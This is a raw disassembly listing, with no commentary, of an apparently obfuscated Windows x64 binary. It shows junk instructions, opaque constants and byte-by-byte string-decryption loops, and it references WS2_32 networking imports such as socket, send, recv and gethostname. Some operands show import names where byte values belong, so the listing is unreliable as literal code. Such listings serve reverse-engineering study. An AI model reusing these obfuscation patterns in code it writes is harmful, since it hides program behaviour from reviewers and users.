add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7a
jmp 0x140096c23
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140096910
movabs rcx, 0x937d2b1660c50f29
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1f
jmp 0x140096c23
inc rax
cmp r8, rax
jne 0x140096945
movabs rcx, 0xea0f46343e476985
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x5d
dec rdi
inc rdi
jmp 0x140096042
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140096985
movabs rcx, 0xebea6ee10a8af10f
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x69
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096042
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400969b5
movabs rcx, 0x97337c6ff94c1e3d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x55
jmp 0x140096cfb
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140096587
movabs rcx, 0xedc5978dd6ce7899
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2f
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140096a3c
movabs rdx, 0x19fc39732bb1698c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140096a6c
movabs rcx, 0x708e54910933c3e8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x140096cfb
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140096a9d
movabs rdx, 0x72697d3dd5774b72
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x1e
jmp 0x140096c72
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009653a
movabs rcx, 0x1db28accc43878a0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x60
dec rdi
inc rdi
jmp 0x140096042
movabs rdx, 0xcad6c1087f3d2d58
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, byte [rbp + rdi + 0x868]
sub r11b, al
sub r11b, 0x68
add r11b, dl
add r11b, bl
jmp 0x140096c75
movabs rdx, 0x761fce976dfe5a86
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x868]
add r11b, dl
add r11b, bl
jmp 0x140096cfb
movabs rcx, 0x8c1088632fb6f101
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 7
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
movabs rcx, 0x357e6d45523496a5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7d
jmp 0x140096cfb
movabs rcx, 0x885a3709972fe1ed
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7b
dec rdi
inc rdi
jmp 0x140096042
movabs rcx, 0xdd11297aa86eb4bf
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x39
inc r9
dec rdi
inc rdi
jmp 0x140096042
movabs rdx, 0x31c81bebb9ad8791
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 9
add r11b, dl
jmp 0x140096c23
movabs rcx, 0xdb3600cddc2b2d35
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x73
movabs rcx, 0xf5323a4107dc96c1
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x47
add bl, cl
mov byte [rbp + rdi + 0x868], bl
inc r9
dec rdi
inc rdi
jmp 0x140096042
movabs rdx, 0xd95ad8210fe7a5ab
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
add r11b, 0x53
add r11b, dl
movabs rcx, 0xa07b47cff69dc3ef
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x77
add cl, bl
add cl, r11b
mov byte [rbp + rdi + 0x868], cl
jmp 0x140096cbd
movabs rcx, 0x2e11ca922126787d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6b
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096042
mov rbx, r10
movabs rdx, 0xd77faf7443a41e21
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x19
add r11b, dl
movabs rcx, 0x4bc4555ee55ef11d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x35
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x868], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x2168dc265cbf87b4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x868], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
movabs rcx, 0x80ed94566621c3c5
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x63
movzx eax, byte [rbp + rdi + 0x868]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096042
movabs rcx, 0xfe7a05a1052e3c73
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x25
jmp 0x140096040
movabs rcx, 0x5330f812166d0f45
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1d
jmp 0x140096030
lea rsi, [rbp + 0x16535dc]
jmp 0x140096e0c
lea rsi, [rbp + 0x105cc73]
jmp 0x140096e0c
lea rsi, [rbp + 0x868]
lea rdx, [0x140236ab0]
lea rcx, [rbp + 0x260]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006ac10
mov r14, rax
mov byte [rbp + 0x890], 0xa8
mov byte [rbp + 0x891], 0x84
mov byte [rbp + 0x892], 0x85
mov byte [rbp + 0x893], 0x87
mov byte [rbp + 0x894], __WSAFDIsSet
mov byte [rbp + 0x895], 0x83
mov byte [rbp + 0x896], __WSAFDIsSet
mov byte [rbp + 0x897], __WSAFDIsSet
mov byte [rbp + 0x898], reloc.WS2_32.dll_WSACleanup
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x899], xmm0
mov qword [rbp + 0x8a9], rax
mov word [rbp + 0x8b1], ax
movabs r12, 0xa780bbdfa7e4e346
movabs r13, 0x60e661a3d134297a
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor edi, edi
movabs rcx, 0xa673d82f38c1c1ae
cmp rdi, 0x23
jae 0x140097c04
movzx ebx, byte [rbp + rdi + 0x890]
mov r10, rbx
cmp r8, rdi
ja 0x140097bf8
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140096f13
add rcx, rdi
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
add r11b, 0x3e
jmp 0x140096f50
je 0x140097b6b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140097acf
lea rax, [r9 + 5]
cmp r8, rax
je 0x140097a6b
lea rax, [r9 + 6]
cmp r8, rax
je 0x140097a42
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400979f0
nop dword [rax]
cmp r9, rdi
ja 0x140097bec
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140096f88
lea rdx, [rdi + r12]
movzx eax, bl
and al, dl
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096fe0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400979cc
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400979a3
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009798f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009796c
lea rax, [r9 + 5]
cmp r8, rax
je 0x140097947
lea rax, [r9 + 4]
cmp r8, rax
je 0x140097920
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x14009763f
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009761b
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400975ea
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400975c1
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400975ad
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14009758a
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x140097552
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009752e
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140097506
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400974d2
lea rax, [r9 + 4]
cmp r8, rax
je 0x140096ff0
lea r8, [r9 + 9]
lea r9, [r8 + 3]
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140097bc9
lea rax, [r9 + 6]
cmp r8, rax
jb 0x140097ba1
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400971f3
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400971cb
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400971ad
lea rcx, [r9 + 0x1000]
cmp r8, rcx
jb 0x140097470
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140097410
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400973bf
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x140097391
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140096ff0
mov r8, rcx
lea r9, [rcx + 0x5a]
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x14009735d
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x140097335
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x140097311
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x1400972d9
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x1400972b6
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x1400972a2
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140097279
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x140097248
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x140097224
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x140096ff0
lea r8, [r9 + 0x80]
lea r9, [r8 + 0x1000]
jmp 0x140096ff0
lea rdx, [rdi + r13]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x56
add r11b, dl
jmp 0x140096fe0
movabs rdx, 0x13feb1455fb0a61e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096f50
movabs rdx, 0xc71700e6ee2d22c2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x4e
add r11b, dl
movabs rcx, 0xa673d82f38c1c1ae
jmp 0x140096ede
movabs rdx, 0x3c05defd3f271a30
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
jmp 0x140097a0f
movabs rdx, 0xef1e2e9ecda396d4
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140096ec2
movabs rcx, 0xa2367e405c201378
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x140096ec2
movabs rdx, 0x554ecde1ea9c901c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x140097a7a
movabs rcx, 0x8671d8379190cc0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x40
jmp 0x140097ab7
movabs rdx, 0xbb7f6d2507958964
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096ec2
movabs rdx, 0x6e97bcc696120608
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
jmp 0x140097af2
movabs rdx, 0x21b00c68248e82ac
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140097b23
movabs rcx, 0xd4c85c09b30aff50
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x890]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096ec2
movabs rcx, 0x9485231d974236ea
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x66
mov byte [rbp + rdi + 0x890], r11b
inc rdi
jmp 0x140096ec2
movabs rdx, 0x479d72bf25beb38e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r9, 6
jb 0x1400973af
movabs rdx, 0x522822d09d332b54
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x140097a12
movabs rdx, 0xfab5c260b43b3032
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5e
add r11b, dl
cmp r8, 0x400
jae 0x1400978ca
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400977b8
movabs rdx, 0x511b3f202e1009bc
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x24
jmp 0x1400973df
movabs rdx, 0xadce120242b7acd6
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x41
je 0x1400978f4
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x140097711
movabs rdx, 0xa99a8340862b2676
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x3a
jmp 0x14009742f
movabs rcx, 0xed04673def5d53a4
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7c
movzx eax, byte [rbp + rdi + 0x890]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096ec2
movabs rdx, 0xa01cb6df7dd9d048
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140097b23
movabs rdx, 0x533506810c564cec
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x74
jmp 0x140097af2
movabs rdx, 0x64d56229ad2c990
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096ec2
movabs rcx, 0xb965a5c4294f4634
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6c
jmp 0x140097ab7
movabs rdx, 0x6c7df565b7cbc2d8
mov ecx, recv
jmp 0x140097a7a
movabs rcx, 0x1f96450746483f7c
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x64
dec rdi
inc rdi
jmp 0x140096ec2
movabs rdx, 0xd2ae94a8d4c4bc20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x140096ec2
movabs rdx, 0x85c6e44a634138c4
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x5c
jmp 0x140097a0f
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x140097668
movabs rdx, 0xa673d82f38c1c1ae
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_35
jmp 0x140097487
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400976ae
movabs rdx, 0x4f0177bf4fc9c68c
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x890]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096ec2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400976e0
movabs rdx, 0xe8d0d87c32d0cd44
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140097af2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140097493
movabs rdx, 0xcf87e997875b5758
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x68
jmp 0x140097a8b
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140097743
movabs rdx, 0xf682339ef7aea9d2
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140097a0f
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140097778
movabs rdx, 0x2a20f518bdbcb742
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140097ab7
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140097432
movabs rcx, 0x7708a5772f403a9e
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x52
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096ec2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400977fe
movabs rdx, 0x9e02ef7e9f938d18
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movzx eax, byte [rbp + rdi + 0x890]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096ec2
inc rax
cmp r8, rax
jne 0x140097831
movabs rdx, 0xeaea9fdd11171074
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x140097b23
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140097863
movabs rdx, 0x37d2503b829a93d0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140097af2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140097898
movabs rdx, 0xd1a1b0f865a19a88
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140097ab7
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400973e2
movabs rdx, 0x54072722bafa7f8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140097a0f
movabs rdx, 0x9f0fd32f0eb6aeb0
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x890]
jmp 0x140097a88
movabs rdx, 0xebf7838d803a320c
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, byte [rbp + rdi + 0x890]
sub r11b, 0x54
jmp 0x140097af2
movabs rdx, 0xebe3ed33400fe26
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0xa
add r11b, dl
jmp 0x140097b23
movabs rdx, 0xc1d68e74c27d7aca
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x140097af2
movabs rcx, 0x28072db7df767412
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x7e
jmp 0x140097ab7
movabs rdx, 0xdb1f7d596df2f0b6
mov ecx, 3
jmp 0x140097a7a
movabs rcx, 0x8e37ccfafc6f6d5a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x76
dec rdi
inc rdi
jmp 0x140096ec2
movabs rdx, 0xf4686c3e196866a2
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x6e
jmp 0x140097a0f
movabs rdx, 0x5a990b8136615fea
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x66
add r11b, dl
movabs rcx, 0xf89bfaffd5f4ed02
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0xe
add cl, bl
mov byte [rbp + rdi + 0x890], cl
inc r9
dec rdi
inc rdi
jmp 0x140096ec2
movabs rcx, 0xc0c9aac4535a5932
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x5e
dec rdi
inc rdi
jmp 0x140096ec2
movabs rdx, 0x73e1fa65e1d6d5d6
mov ecx, reloc.WS2_32.dll_send
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
movabs rdx, 0x4583ab5e4778705e
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x890], cl
add r8, r9
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140096ec2
mov rbx, r10
movabs rdx, 0x8d2ae94a8d4c4bc2
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4e
add r11b, dl
movabs rcx, 0x926b5bbcb8fbf3ba
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x16
add cl, bl
movzx eax, cl
mov byte [rbp + rdi + 0x890], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x38df33ebf1bdb568
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x890], cl
inc r8
mov rax, r15
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x890]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096ec2
movabs rcx, 0xf35b888daa45450a
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x46
movzx eax, byte [rbp + rdi + 0x890]
add rax, r9
add rdi, rax
inc rdi
jmp 0x140096ec2
movabs rdx, 0x7a2f50887ca99f66
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x140096ebe
movabs rcx, 0x2d47a02a0b261c0a
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x46
jmp 0x140096eac
lea rcx, [rbp + 0x16e2978]
jmp 0x140097c0b
lea rcx, [rbp + 0x6feb26]
jmp 0x140097c0b
lea rcx, [rbp + 0x890]
mov dword [rbp + 0xf68], 0x2710
mov dword [rbp + 0xf80], Ordinal_30
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rsi
lea rax, [rbp + 0xf68]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf80]
mov r8, r14
mov edx, 4
call fcn.140037d20
lea rdx, [0x140236c70]
lea rcx, [rbp + 0x280]
call fcn.140002660
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x30]
mov rcx, qword [0x14023cdc0]
call fcn.14006b920
mov r14, qword [rax]
mov rcx, rbx
call fcn.140002800
cmp byte [r14 + 0x38], 0
jne 0x1400a3083
movsxd rax, dword [r14 + 0x30]
lea rsi, [0x1402055b8]
mov rdi, qword [rsi + rax*8]
mov byte [rbp + 0x8b8], 0x48
mov byte [rbp + 0x8b9], Ordinal_41
mov byte [rbp + 0x8ba], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x8bb], __WSAFDIsSet
mov byte [rbp + 0x8bc], 0x5e
mov byte [rbp + 0x8bd], gethostname
mov byte [rbp + 0x8be], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0x8bf], gethostname
mov byte [rbp + 0x8c0], 0xae
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x8c1], xmm0
mov qword [rbp + 0x8d1], rax
mov word [rbp + 0x8d9], ax
movabs r12, 0xf2bdb1cc67ff721d
movabs r13, 0x52e798db42a6ff83
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
movabs rcx, 0xaa09087772aaa3e9
cmp rbx, 0x23
jae 0x140098c11
movzx r11d, byte [rbp + rbx + 0x8b8]
mov rdx, r11
cmp r8, rbx
ja 0x140098c05
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140097d84
add rcx, rbx
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x5f
jmp 0x140097db1
je 0x140098b7b
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098ae4
lea rax, [r9 + 3]
cmp r8, rax
je 0x140098ab1
lea rax, [r9 + 5]
cmp r8, rax
je 0x140098a87
cmp r9, rbx
ja 0x140098bf9
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140097de6
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x35
add r10b, dl
jmp 0x140097e40
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140098a32
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098a07
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400989a5
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009896e
lea rax, [r9 + 5]
cmp r8, rax
je 0x140098946
lea rax, [r9 + 8]
cmp r8, rax
je 0x140098910
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140098499
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x140098473
lea rax, [r9 + 4]
cmp r8, rax
je 0x140098441
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140098416
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400983f1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400983b5
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009837c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140098354
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009832c
lea r8, [r9 + 0x5a]
lea r9, [r8 + 0x10]
lea rax, [r9 + 5]
